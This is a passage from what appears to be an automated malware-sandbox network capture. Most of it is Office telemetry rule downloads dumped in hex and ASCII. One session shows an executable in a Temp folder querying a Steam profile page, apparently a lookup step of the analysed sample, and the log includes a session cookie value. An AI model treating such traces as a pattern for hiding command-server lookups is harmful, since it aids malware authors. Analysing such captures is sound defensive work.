M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:11 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:11 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: ad558c98-c01e-0082-6ea0-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011411Z-15869dbbcc62nmdhhC1DFW2sxs00000005e000000000h5z0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:11 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:11 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:11 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 842612a7-c01e-00a2-75a0-342327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011411Z-17df447cdb57srlrhC1DFWwgas0000000bp000000000544a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:11 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011411Z-16547b76f7fvllnfhC1DFWxkg80000000f00000000008qxv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:11 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011411Z-16547b76f7f9rdn9hC1DFWfk7s0000000ev000000000k5xp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 01:14:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:12 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:12 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011412Z-16547b76f7fj897nhC1DFWdwq40000000ewg000000000a2n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:12 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49835	23.197.127.21	443	3616	C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:12 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-11-12 01:14:13 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 12 Nov 2024 01:14:12 GMT Content-Length: 35964 Connection: close Set-Cookie: sessionid=08330926c40fda4f9e992f9e; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Ce6510aad57c34d7bda3161fd77cbb61d; Path=/; Secure; HttpOnly; SameSite=None
2024-11-12 01:14:13 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-11-12 01:14:13 UTC	10109	IN	Data Raw: 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submen
2024-11-12 01:14:13 UTC	11388	IN	Data Raw: 6f 67 69 6e 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 41 56 41 54 41 52 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 61 76 61 74 61 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 Data Ascii: ogin.steampowered.com\/","AVATAR_BASE_URL":"https:\/\/avatars.cloudflare.steamstatic.com\/","FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.s

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:12 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:12 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:12 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: bf72d7c2-301e-001f-2fa0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011412Z-15869dbbcc6rnr5chC1DFWwtp400000003t0000000000vks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:12 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:12 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:12 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011412Z-16547b76f7fmbrhqhC1DFWkds80000000f00000000008s39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 01:14:12 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:12 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011412Z-16547b76f7f775p5hC1DFWzdvn0000000f00000000002kg4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:12 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:12 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:12 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011412Z-16547b76f7fq9mcrhC1DFWq15w0000000ew000000000egve x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:12 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:12 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
